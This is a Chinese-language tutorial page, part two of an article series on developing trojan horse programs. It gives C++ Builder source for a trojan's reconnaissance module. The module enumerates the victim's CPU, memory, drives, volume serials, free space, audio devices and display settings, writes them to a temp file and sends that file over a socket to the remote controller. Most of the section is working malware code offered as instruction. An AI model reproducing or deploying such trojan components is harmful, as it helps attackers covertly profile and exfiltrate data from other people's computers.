WEB开发网
开发学院网络安全黑客技术 透视木马程序开发技术(下) 阅读

透视木马程序开发技术(下)

 2006-11-05 20:34:18 来源:WEB开发网   
核心提示:6、目标机器情况的获取相对于以上几部分来说,这里实现的方法简单多了,透视木马程序开发技术(下),这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的,AnsiString cs;FILE *fp;fp=fopen("temp.had","w+&quo

6、目标机器情况的获取

相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

AnsiString cs;
FILE *fp;
fp=fopen("temp.had","w+");
    
//TODO: Add your source code here
    
//获得CPU型号
SYSTEM_INFO systeminfo;
GetSystemInfo (&systeminfo);
cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"
";
fwrite(cs.c_str(),cs.Length(),1,fp);
MEMORYSTATUS memory;
memory.dwLength =sizeof(memory); //初始化
GlobalMemoryStatus(&memory);
cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"
";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"
";
fwrite(cs.c_str(),cs.Length(),1,fp);
DWORD sector,byte,cluster,free;
long int freespace,totalspace;
UINT type;
char name;
//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、
//5—CD-ROM、6—内存虚拟盘
char volname[255],filename[100];//buffer[512];
DWORD sno,maxl,fileflag ;
for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z
    
type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型
    
if(type==0){
        
cs="未知类型磁盘:"+String(name)+"
";
        
fwrite(cs.c_str(),cs.Length(),1,fp);
        
}
    
else if(type==2){
        
cs="可移动类型磁盘:"+String(name)+"
";
        
fwrite(cs.c_str(),cs.Length(),1,fp);
        
}
    
else if(type==3){
        
cs="固定磁盘:"+String(name)+"
";
        
fwrite(cs.c_str(),cs.Length(),1,fp);
        
}
    
else if(type==4)    {
        
cs="网络映射磁盘:"+String(name)+"
";
        
fwrite(cs.c_str(),cs.Length(),1,fp);
        
}
    
else if (type==5)    {
        
cs="光驱:"+String(name)+"
";
        
fwrite(cs.c_str(),cs.Length(),1,fp);
        
}
    
else if (type==6)    {
        
cs="内存虚拟磁盘:"+String(name)+"
";
        
fwrite(cs.c_str(),cs.Length(),1,fp);
        
}
   if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100))    {
        
cs=String(name)+"盘卷标为:"+String(volname)+"
";
        
fwrite(cs.c_str(),cs.Length(),1,fp);
        
cs=String(name)+"盘序号为:"+String(sno)+"
";
        
fwrite(cs.c_str(),cs.Length(),1,fp);
        
GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数
        
totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量
        
freespace=int(free)*byte*sector/1024/1024; //计算可用空间
        
cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"
";
        
fwrite(cs.c_str(),cs.Length(),1,fp);
        
cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"
";
        
fwrite(cs.c_str(),cs.Length(),1,fp);
        
}
    
}
int wavedevice,mididevice;
WAVEOUTCAPS wavecap;
MIDIOUTCAPS midicap;
wavedevice=(int)waveOutGetNumDevs(); //波形设备信息
mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息
if (wavedevice!=0){
    
waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
    
cs="当前波形设备:"+String(wavecap.szPname)+"
";
    
fwrite(cs.c_str(),cs.Length(),1,fp);
    
}
if (mididevice!=0){
    
midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
    
cs="当前MIDI设备:"+String(midicap.szPname)+"
";
    
fwrite(cs.c_str(),cs.Length(),1,fp);
    
}
long double tcs;
long double tc;
long int bpp,cp;
cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"
";
fwrite(cs.c_str(),cs.Length(),1,fp);
bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);
tcs=pow(2,bpp); //计算色彩的梯度数
cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);
tc= pow(double(tcs),double(cp)); //计算色深
AnsiString sss;
sss=bpp;
cs="当前色深为:"+sss+"
";
fwrite(cs.c_str(),cs.Length(),1,fp);
fclose(fp);
AnsiString FileName="temp.had";
char *buf;
TcpMsgUint Msg2;
strcpy(Msg2.TPassword,Password);
TMemoryStream *ms=new TMemoryStream;
ms->Clear();
if (!FileExists(FileName)) CheckHard();
TFileStream *fs=new TFileStream(FileName,fmOpenRead);
  buf=new char[fs->Size+sizeof(TcpMsgUint)+1];
fs->Read(buf,fs->Size);
Msg2.Type=MsgGetHardWare;
Msg2.Length=fs->Size;
FileClose(fs->Handle);
ms->Write(&Msg2,sizeof(TcpMsgUint));
ms->Write(buf,Msg2.Length);
ms->Position=0;
delete []buf;
try{
    
sock->SendStream(ms);
    
}
catch(Exception&e) {
    
}
}

上面一段程序,基本上把相关的系统信息都取到了。

1 2  下一页

Tags:透视 木马 程序开发

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接